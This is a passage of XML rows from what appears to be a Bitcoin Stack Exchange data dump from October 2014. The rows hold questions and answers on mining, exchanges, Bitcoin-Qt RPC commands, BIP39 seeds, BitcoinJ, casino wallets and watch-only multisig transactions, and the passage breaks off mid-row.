  <row Id="30876" PostTypeId="2" ParentId="30871" CreationDate="2014-10-08T12:17:07.223" Score="3" Body="&lt;p&gt;The short answer is: No. The average number of bitcoins per hash is fixed, and is roughly equal to B / (2^32 * D), where B is the bitcoins per block and D is the difficulty. Every calculated hash is either a block or not; if it's not, it doesn't bring you any closer to finding a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for completeness it should be noted that there are several sophisticated attacks that allow superlinear gains on hashrate, such as lie-in-wait and hashrate amplification (also known as selfish mining). Superlinearity can also be a side effect of a short block interval. All of these require huge hashrate to be effective, on the order of a quarter of the network hashrate - not something which should be of concern to the average miner.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-10-08T12:17:07.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30877" PostTypeId="2" ParentId="25583" CreationDate="2014-10-08T13:10:16.153" Score="5" Body="&lt;p&gt;To organize a wire from Europe to the US and back using bitcoin without fees, you can:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open an account on KRAKEN.com do a IBAN/BIC wire to your kraken account (free!), takes 2-4 business days&lt;/li&gt;&#xA;&lt;li&gt;Open an account on circle.com and register your US bank account&lt;/li&gt;&#xA;&lt;li&gt;Buy bitcoins on kraken.com (very small fee, usually around 20 eurocents)&lt;/li&gt;&#xA;&lt;li&gt;Transfer bitcoins from kaken.com to circle.com account&lt;/li&gt;&#xA;&lt;li&gt;Withdraw bitcoins in USD from circle.com&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I did not try it yet but the whole process should not cost you more than 50 eurocents. Of course you risk small losses/profits due to volatility of bitcoin prices. Also, I do not know what is driving the exchange rates at circle.com.&lt;/p&gt;&#xA;" OwnerUserId="12019" LastActivityDate="2014-10-08T13:10:16.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30878" PostTypeId="1" CreationDate="2014-10-08T13:37:44.043" Score="4" ViewCount="2541" Body="&lt;p&gt;We are building a generic wrapper around Bitcoin-Qt. I wonder if there is way to get the information about the confirmation count of a transaction from a Bitcoin-QT having an empty wallet using the RPC command.&lt;/p&gt;&#xA;" OwnerUserId="15501" LastActivityDate="2016-01-12T14:55:00.137" Title="How to get the number of the confirmed transactions from Bitcoin QT Rpc" Tags="|bitcoind|bitcoin-core|json-rpc|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30879" PostTypeId="1" CreationDate="2014-10-08T14:44:31.590" Score="8" ViewCount="6347" Body="&lt;p&gt;BIP39 mnemonic phrases replace considerations about how to store one private key, with considerations about how to store the seed to a series of private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that the private keys are hard to remember, worse to write down, and prone to discovery when stored digitally, so the solution is that you can have a phrase of words that act as a seed to a hierarchical deterministic series of addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like this idea has been lost in translation as the phrase length of mnemonic phrases has increased from 12 words, to 24 words, with the &quot;more secure than thou&quot; using even longer words and phrases, and security minded companies alike promote writing down the mnemonic phrase, in multiple places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or splitting the phrase, or putting an additional passphrase on top of the HD sequence, or using Shamir's secret key.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all of which simply create more points of failure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately: instead of one paper wallet compromising one private key, your paper phrase will compromise ALL of your private keys. OOPS. or you forget the secret key, or you lose a piece of the phrase, or you misspell it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least we can be confident that the words themselves contain enough entropy to prevent guessing, RIGHT GUYS? RIGHT?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the pros, cons, limitations of BIP39, or at least my concerns. I have read the wiki and the github markdown on BIP39, and these do nothing to alleviate these concerns because these BIPs are a centralized process&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="2306" LastEditDate="2015-04-22T18:18:56.250" LastActivityDate="2022-09-16T07:49:08.407" Title="Pros/Cons/Limitations of Mnemonic Phrases - BIP39" Tags="|bip32-hd-wallets|mnemonic-seed|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30880" PostTypeId="2" ParentId="30845" CreationDate="2014-10-08T15:38:16.283" Score="3" Body="&lt;p&gt;Okay, so it's been a while since I've played around with BitcoinJ but the problem might be that you need to rebuild your BlockStore file. A BitcoinJ application is essentially made up of four main objects, a BlockChain object which is responsible for parsing and validating the actual blocks, a BlockStore object which is responsible for saving this data, a PeerGroup object responsible for actually getting this information from the bitcoin network (in the case of your regtest example it simply connects to your localhost bitcoind node), and a Wallet object that actually holds that data about the public/private keys you are interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are using WalletAppKit which is a boilerplate class BitcoinJ offers to bootstrap all of this for you. It creates a BlockChain object and relates it to an SPVBlockStore object that is related to a PeerGroup object which is itself related to a Wallet object. If you look at your /tmp/bitcoinj location I believe there should be two files, one a wallet file for saving the information about your addresses and the other a spv file that has a bunch of information saved about the blockchain. The SPV method that BitcoinJ uses doesn't actually download and verify the entire blockchain, it uses a more streamlined system (which you can read about here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security#Simplified_Payment_Verification_.28SPV.29&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Thin_Client_Security#Simplified_Payment_Verification_.28SPV.29&lt;/a&gt;). The SPV file doesn't hold any information about transactions, and if you want to get any information about an address from a previous point in time you have to rebuild this file and effectively force BitcoinJ to reparse the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should try deleting this /tmp/bitcoinj.spv file (I believe that the naming convention of BitcoinJ for WalletAppKit is two files with the path you specified with different file extensions but you might need to verify) and allow it to be rebuilt knowing that it should look for all activity on those watched addresses. Then you'll want to save that wallet to disk so that you don't need to reconstruct the SPV file again.&lt;/p&gt;&#xA;" OwnerUserId="18254" LastActivityDate="2014-10-08T15:38:16.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30881" PostTypeId="2" ParentId="30878" CreationDate="2014-10-08T16:03:50.253" Score="5" Body="&lt;p&gt;You can use the RPC command &quot;getrawtransaction&quot; to receive a JSON response with information for that transaction including a &quot;confirmations&quot; field if that transaction has been included in a block (if there are 0 confirmations the confirmations field will not be there). You should note though that if you are looking for transactions that are not actually a part of your wallet (from or to an address you don't have the private keys for) bitcoin-qt by default won't keep track of these transactions and will have to be run with the &quot;txindex=1&quot; flag set to keep a full transaction index.&lt;/p&gt;&#xA;" OwnerUserId="18254" LastActivityDate="2014-10-08T16:03:50.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30884" PostTypeId="1" CreationDate="2014-10-08T23:11:47.770" Score="6" ViewCount="1460" Body="&lt;p&gt;I haven't been able to find information on how to efficiently index UTXOs. Can you explain or point me to some resources?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Btw, I understand completely that the notion of address balance is awkward at best, and that it can never really be known with 100% confidence, especially as P2SH transactions gain popularity.&lt;/p&gt;&#xA;" OwnerUserId="4796" LastEditorUserId="4796" LastEditDate="2014-10-13T15:14:23.273" LastActivityDate="2016-04-20T14:47:16.733" Title="How to index the UTXO set efficiently?" Tags="|transactions|utxo|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30885" PostTypeId="1" CreationDate="2014-10-09T01:00:49.360" Score="1" ViewCount="78" Body="&lt;p&gt;I'm relatively new to Bitcoin and cryptocurrency so please excuse my newbie question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a reliable method to convert national currency (i.e. &quot;normal&quot; money) into Bitcoin. A quick google turns up a plethora of exchanges, but I have no idea how to judge which are reliable.  By &quot;reliable&quot;, I have two chief concerns:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;That my information will be treated securely and privately; and&lt;/li&gt;&#xA;&lt;li&gt;That the funds I deposit will arrive in my Bitcoin wallet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please give me some advice on an exchange or exchanges considered reliable by the community, or even better, a list of criteria by which to determine this for myself.&lt;/p&gt;&#xA;" OwnerUserId="19624" LastActivityDate="2014-10-09T01:00:49.360" Title="Reliable method to convert national currency to bitcoin" Tags="|exchanges|currencies|" AnswerCount="0" CommentCount="2" ClosedDate="2014-10-13T16:33:29.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="30887" PostTypeId="2" ParentId="29912" CreationDate="2014-10-09T07:17:21.963" Score="0" Body="&lt;p&gt;Some of BGP routers can be spoofed outside. You can split the BitCoin network in case gain access to one of the Internet Exchange Points. But some other BGP routers can be vulenrable for the &lt;a href=&quot;http://www.ospfmon.com&quot; rel=&quot;nofollow&quot;&gt;BGP Leaks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19635" LastActivityDate="2014-10-09T07:17:21.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30888" PostTypeId="2" ParentId="30848" CreationDate="2014-10-09T07:48:28.470" Score="0" Body="&lt;p&gt;You can also type &lt;code&gt;help getaccountaddress&lt;/code&gt; , or any method for more information of the usage of this method.&lt;/p&gt;&#xA;" OwnerUserId="13327" LastActivityDate="2014-10-09T07:48:28.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30889" PostTypeId="1" CreationDate="2014-10-09T08:28:05.690" Score="1" ViewCount="1493" Body="&lt;p&gt;When I sent bitcoin to an address by using Blockchain.info API, I got &quot;Insufficient Funds Available&quot; error. Like below..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[API Request]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/fr/merchant/xxxxxxxxxxxxxxxx/payment?password=password1&amp;amp;second_password=password2&amp;amp;to=yyyyyyyyyyyyyyyyyyyyyyyyyy&amp;amp;amount=1000&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/fr/merchant/xxxxxxxxxxxxxxxx/payment?password=password1&amp;amp;second_password=password2&amp;amp;to=yyyyyyyyyyyyyyyyyyyyyyyyyy&amp;amp;amount=1000&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[API Response]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{&quot;error&quot;:&quot;Insufficient Funds Available: 0 Needed: 11000&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why because my account has sufficient balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error is not always happened. I guess that I get an error when my wallet has unconfirmed transactions. But not sure..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know the reason, I really, really need to know it. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am finding the reason. I have only one bitcoin address in my Blockchain.info account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The followings are the state of the confirmation about my bitcoin address and the API call result. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Case1 &quot;Insufficient Funds Available&quot; error occurred&#xA;&#xA;balance = 1586000;&#xA;hash = 1xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;&#xA;Received = 12166000;&#xA;sent = 10580000;&#xA;&quot;unconfirmed_balance&quot; = &quot;-11000&quot;;&#xA;&quot;unconfirmed_received&quot; = 1575000;&#xA;&quot;unconfirmed_sent&quot; = 1586000;&#xA;&#xA;Case2 OK&#xA;&#xA;balance = 1575000;&#xA;hash = 1xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;&#xA;received = 13741000;&#xA;sent = 12166000;&#xA;&quot;unconfirmed_balance&quot; = 0;&#xA;&quot;unconfirmed_received&quot; = 0;&#xA;&quot;unconfirmed_sent&quot; = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19338" LastEditorUserId="19338" LastEditDate="2014-10-09T09:08:42.307" LastActivityDate="2014-10-09T09:08:42.307" Title="Blockchain.info : &quot;Insufficient Funds Available&quot;" Tags="|api|blockchain.info|" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-07T10:29:07.643" ContentLicense="CC BY-SA 3.0" />
  <row Id="30890" PostTypeId="2" ParentId="22929" CreationDate="2014-10-09T08:55:01.370" Score="1" Body="&lt;p&gt;I don't have enough reputation to comment, but just to let you know, the example block header ends with &quot;f8f1753dbdf441b00000000&quot;, but it should really be &quot;b8f1753dbdf441b00000000&quot; or fully:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;020000000413cf7d02794eb094cd66404e46aa816679e12f6fdf9ee11f0e97337702b6e00b1edc1ccf82d3214423fc68234f4946119e39df2cc2137e31ebc186191d54229b8f1753dbdf441b00000000&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Caught this writing a unit test.&lt;/p&gt;&#xA;" OwnerUserId="19638" LastActivityDate="2014-10-09T08:55:01.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30891" PostTypeId="2" ParentId="30848" CreationDate="2014-10-09T09:42:24.450" Score="1" Body="&lt;p&gt;You can find all the arguments and commands &lt;a href=&quot;http://pastebin.com/B7R7MFjQ&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct format is: &lt;code&gt;getaccountaddress &quot;account name&quot; 1Addressgoeshere&lt;/code&gt; where &lt;code&gt;account name&lt;/code&gt; is either empty by default ie &quot;&quot; and &lt;code&gt;1Addressgoeshere&lt;/code&gt; is the public BTC address&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-10-09T09:42:24.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30893" PostTypeId="2" ParentId="30426" CreationDate="2014-10-09T13:01:00.020" Score="3" Body="&lt;p&gt;I think the answer is that a credit card company is vouching for you when you make a purchase. The seller does not know you, but they know the credit card company, and they know the credit card will give them their funds. The credit card company in turn knows you, and has deemed you credit-worthy. This is why it's called &quot;credit&quot; ... from the latin &lt;em&gt;credere&lt;/em&gt;: &quot;to believe&quot; or &quot;to trust&quot;. The credit card company believes that you will pay your bill at the end of the month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is like cash... except that handing over physical cash takes a fraction of a second, but handing over digital cash takes approximately 10 minutes in the case of bitcoin (less with alt coins that add to their block chains at a faster rate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The seller could decide that if this is a repeat customer (who has bought successfully with bitcoin once or more times before) to &lt;em&gt;extend &lt;strong&gt;credit&lt;/strong&gt; themselves&lt;/em&gt;, and just assume the transaction will be validated. Then, at the time of sale, &lt;em&gt;the transaction will be just as quick&lt;/em&gt; as a legacy credit card transaction would.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some alt coins are building in reputation via marking (such as Bitmark) which will go a long way towards allowing sellers to make immediate credit decisions even from buyers new to them. I think this is somewhat analogous to a built-in FICO score for a particular wallet.&lt;/p&gt;&#xA;" OwnerUserId="5371" LastEditorUserId="5371" LastEditDate="2017-12-13T17:20:54.993" LastActivityDate="2017-12-13T17:20:54.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30895" PostTypeId="2" ParentId="20411" CreationDate="2014-10-10T01:29:46.783" Score="1" Body="&lt;p&gt;Bugs can be reported at &lt;a href=&quot;https://github.com/luke-jr/bfgminer/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/luke-jr/bfgminer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please run with --log-file debug.log --debuglog -P and upload the entire file to Dropbox (or equivalent); if you have sensitive information (passwords?), be sure they are not in the log file before publishing it.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2014-10-10T01:29:46.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30896" PostTypeId="1" CreationDate="2014-10-10T01:31:05.187" Score="1" ViewCount="277" Body="&lt;p&gt;Let's say I wanted to start an online casino that accepts Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it make sense to manage my own Bitcoin wallet for this site? Or would it make sense to just use a third-party service that manages the wallet for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other considerations are there?&lt;/p&gt;&#xA;" OwnerUserId="10639" LastActivityDate="2020-05-30T16:44:19.860" Title="Should a casino manage its own Bitcoin wallet?" Tags="|wallet|merchants|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30897" PostTypeId="2" ParentId="25097" CreationDate="2014-10-10T01:35:15.823" Score="1" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;scan&quot; : [&#xA;        &quot;antminer:clock=x0781&quot;&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="942" LastEditorUserId="2306" LastEditDate="2014-10-10T05:36:10.973" LastActivityDate="2014-10-10T05:36:10.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30898" PostTypeId="2" ParentId="30896" CreationDate="2014-10-10T01:45:41.460" Score="2" Body="&lt;p&gt;Integrating your casino with a 3rd party payments processor translates to much easier bootstrapping for your casino but also higher operating costs. Higher operating costs in turn means that your are by definition less competitive, as you will not be able to provide your users with a smaller over-round and also you won't be able to control the deposit and withdrawal costs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to consider is security; having a 3rd part service deal with your money means that if they fail, you fail; if they vanish, your money vanishes with them.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-10-10T01:45:41.460" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="30901" PostTypeId="2" ParentId="30854" CreationDate="2014-10-10T15:59:29.687" Score="1" Body="&lt;p&gt;You can find how to read the blockchain leveldb (format and meaning of the keys) here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28168/what-are-the-keys-used-in-the-blockchain-leveldb-ie-what-are-the-keyvalue-pair&quot;&gt;What are the keys used in the blockchain levelDB (ie what are the key:value pairs)?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no idea (yet) for the UTXO :-)&lt;/p&gt;&#xA;" OwnerUserId="19354" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-10-10T15:59:29.687" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30903" PostTypeId="2" ParentId="10468" CreationDate="2014-10-10T19:10:07.537" Score="3" Body="&lt;p&gt;Open Bitcoin-Qt with old wallet (Menu: Help / Debug window / Console):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;walletpassphrase &quot;OLDWALLETPASSPHRASE&quot; 600&#xA;dumpprivkey &quot;BITCOINADDRESS&quot;&#xA;walletlock&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...write down private key and close program. Next open Bitcoin-Qt with new wallet and import private key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;walletpassphrase &quot;NEWWALLETPASSPHRASE&quot; 600&#xA;importprivkey &quot;BITCOINPRIVKEYFROMOLDWALLET&quot; &quot;SOMELABEL&quot;&#xA;walletlock&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...wait for rescan and lock wallet. That is all without other programs etc.&lt;/p&gt;&#xA;" OwnerUserId="19655" LastActivityDate="2014-10-10T19:10:07.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30904" PostTypeId="1" CreationDate="2014-10-10T20:35:40.170" Score="0" ViewCount="49" Body="&lt;p&gt;I'm looking to see the total downloads for Multibit like what was in the Coindesk article earlier this year. Ideally I'd see them by month. Any sources out there?&lt;/p&gt;&#xA;" OwnerUserId="19656" LastActivityDate="2015-01-13T14:43:15.290" Title="where can I find a chart or data showing total Multibit dowloads?" Tags="|multibit|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30905" PostTypeId="2" ParentId="30896" CreationDate="2014-10-10T23:30:56.637" Score="2" Body="&lt;p&gt;The main considerations are going to be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;taxation records to keep out of trouble further down the road&lt;/li&gt;&#xA;&lt;li&gt;DIY-hosted wallet will require a top-notch security team/protocol. The hot wallet will be targeted if word gets out you've asked on here for example then opened a casino because that makes an easy mark to hit.&lt;/li&gt;&#xA;&lt;li&gt;Knowledge of the Bitcoin protocol and vulnerabilities that could be exploited (ie txn malleability would only be an issue if your code had a bug allowing this, see #4&lt;/li&gt;&#xA;&lt;li&gt;Correct auditing of customer balances&lt;/li&gt;&#xA;&lt;li&gt;proof of fairness and deposits for the losing gamblers demanding their money back&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm of the opinion you'd want professional security, wallet hosting and networking architecture design for a casino. It's a complicated venture. I do know &lt;a href=&quot;http://Bitcasino.io&quot; rel=&quot;nofollow&quot;&gt;Bitcasino.io&lt;/a&gt; offer some type of &quot;franchise&quot; but what the cost is I couldn't tell you.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-10-10T23:30:56.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30907" PostTypeId="1" CreationDate="2014-10-11T09:15:55.313" Score="3" ViewCount="2200" Body="&lt;p&gt;I would like to view a chart where all bid/asks are combined from the various exchanges, instead of keeping multiple tabs open for each exchange. Is there a website that allows this kind of meta-overview?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2020-12-08T22:54:19.357" Title="Is there a chart of all combined orderbooks?" Tags="|exchanges|charts|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30908" PostTypeId="1" CreationDate="2014-10-11T11:55:23.337" Score="1" ViewCount="1115" Body="&lt;p&gt;What would happen if &lt;em&gt;all&lt;/em&gt; block chain copies get deleted at one time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first, all clients would try to get the block chain from other clients, right? But this would fail. Would the &quot;network&quot; then (but when exactly?) assume that everything just started, and mine the genesis block again?&lt;/p&gt;&#xA;" OwnerUserId="4975" LastEditorUserId="4975" LastEditDate="2014-10-12T10:27:24.170" LastActivityDate="2014-10-12T10:27:24.170" Title="If all block chain copies get deleted, what would happen?" Tags="|blockchain|network|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30910" PostTypeId="2" ParentId="30908" CreationDate="2014-10-11T18:29:03.840" Score="1" Body="&lt;p&gt;The only time when the actual block data is needed is when other peers are fetching the blocks from you, or when you need to rescan for new wallet transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the blocks you have already verified and processed are no longer needed by you yourself. Your node would not reset its state, as it still has the result of validating those blocks (the set of the remaining unspent transaction outputs). You could even mine new blocks still, and broadcast them, and other peers (who were similarly caught up already) would accept them as if nothing happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there are safety checks, and your client will not start when block files are missing. If those would be disabled, and everyone did this, and everyone deleted their blocks, the only effect would be that new nodes would not be able to synchronize anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A future version of the reference client (possibly 0.10.0) will support &quot;pruning&quot;, namely actively delete block files after validation when they're old enough. This will make your node stop advertizing as a full node, but it will keep functioning without lessened security otherwise.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-10-11T18:29:03.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31909" PostTypeId="1" CreationDate="2014-10-12T05:00:02.377" Score="1" ViewCount="215" Body="&lt;p&gt;If you're in, for example Congo, or Ecuador (or any other developing country) how do people there begin to adopt bitcoin? I mean the very first people, obviously things are easier once a, even small, group of people are using it in a given country.&#xA;The problem I see here, is why would you (say as the owner of bitcoin) want a high risk currency, in exchange for bitcoin? So:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 Who can you give bitcoin to in these countries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 Why would you(or any seller of bitcoin to the local currency) be willing to accept such an insecure local currency?&lt;/p&gt;&#xA;" OwnerUserId="20666" LastActivityDate="2015-01-10T22:18:24.723" Title="How do developing countries begin to adopt bitcoin?" Tags="|adoption|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31910" PostTypeId="1" CreationDate="2014-10-12T07:36:01.560" Score="1" ViewCount="491" Body="&lt;p&gt;I am trying to do some tests using multisig transactions without importing the private key in bitcoind (watch only addresses). &#xA;Bitcoind runs in regtest mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the steps I have done:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;createmultisig 2, [three_public_keys] (address: 2MzNBD51VvSPU1w6vp2Z6zyRzVGwEHco5Wj)&lt;/li&gt;&#xA;&lt;li&gt;importaddress multisig_address multisig_label true&lt;/li&gt;&#xA;&lt;li&gt;sendtoaddress multisig_address 0.1. At this point I have a multisig address with 0.1 BTC&lt;/li&gt;&#xA;&lt;li&gt;createrawtransaction from multisig address to a normal BTC address (miSXv45UamdKCBrb9DoWrzdQFzquqeVrhj) that is present in my wallet, amount 0.03&lt;/li&gt;&#xA;&lt;li&gt;signrawtransaction with first key&lt;/li&gt;&#xA;&lt;li&gt;signrawtransaction with third key -&gt; the tx is &quot;complete&quot;&lt;/li&gt;&#xA;&lt;li&gt;sendrawtransaction&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have omitted the confirmations steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The listunspent command shows 0.03 BTC for the normal address and 0.07 BTC for the the multisig address&lt;/li&gt;&#xA;&lt;li&gt;The normal address, which is in my wallet, is increased by 0.03 BTC (listaccounts)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At this point I would like to check the balance for the multisig address. I have some issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;getbalance  always returns 0. I have the feeling that the provided label is not associated to an account, so, simply put, it does recognize it as an account and provides 0.&lt;/li&gt;&#xA;&lt;li&gt;listaccounts does not show the multisig_account&lt;/li&gt;&#xA;&lt;li&gt;EVERY single unspent block owned by the multisig address results to be &quot;unspendable&quot;. I could not find any info about that field, but it does not seem to prevent that block from being used as an input. In fact, I use it as an input to send 0.03 BTC to the normal address. Is it normal?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Currently I am using listunspent to get all the unspent blocks, filter by multisig label and sum up all the amounts to get the balance. While it is true that it works (is it a correct way to get the balance?), it is also true that it might not scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my final transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    bcli gettransaction 852ddf5c61a9f7bf2f16a9e0430eee738927cd9a8cd99cbab22ba55e0ac013bd&#xA;{&#xA;        &quot;amount&quot; : 0.10000000,&#xA;        &quot;confirmations&quot; : 10,&#xA;        &quot;blockhash&quot; : &quot;000046caadc57b88f298e2409eff4370ad223d50c56631fae00d8fc4604e4039&quot;,&#xA;        &quot;blockindex&quot; : 1,&#xA;        &quot;blocktime&quot; : 1413096038,&#xA;        &quot;txid&quot; : &quot;852ddf5c61a9f7bf2f16a9e0430eee738927cd9a8cd99cbab22ba55e0ac013bd&quot;,&#xA;        &quot;walletconflicts&quot; : [&#xA;        ],&#xA;        &quot;time&quot; : 1413096038,&#xA;        &quot;timereceived&quot; : 1413096038,&#xA;        &quot;details&quot; : [&#xA;            {&#xA;                &quot;involvesWatchonly&quot; : true,&#xA;                &quot;account&quot; : &quot;mirko&quot;,&#xA;                &quot;address&quot; : &quot;miSXv45UamdKCBrb9DoWrzdQFzquqeVrhj&quot;,&#xA;                &quot;category&quot; : &quot;receive&quot;,&#xA;                &quot;amount&quot; : 0.03000000,&#xA;                &quot;vout&quot; : 0&#xA;            }&#xA;        ],&#xA;        &quot;hex&quot; : &quot; &quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the decoded raw transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;852ddf5c61a9f7bf2f16a9e0430eee738927cd9a8cd99cbab22ba55e0ac013bd&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;fc86925a8f49a43aebb7eb1f5abdb95153a93decbeedd8875f2a5299855fb169&quot;,&#xA;            &quot;vout&quot; : 1,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;0 3045022100b77d6e54a3084587067ddbc08ddbb3bab5aac407f0d1dafbadf191cc8250954f022029503f2f32ae6d5513632a5e184ae3f8fcf09e49d392c39f70437651bef7a6a301 3045022100fe41efff9176cfd6c108afcd5234cc4fa66cd5f0b652b5e9bb68a0b85c27e5d60220587c2045b9efab07abb17a652d500ffcb72c299194f84808a4d3bb820c69e17401 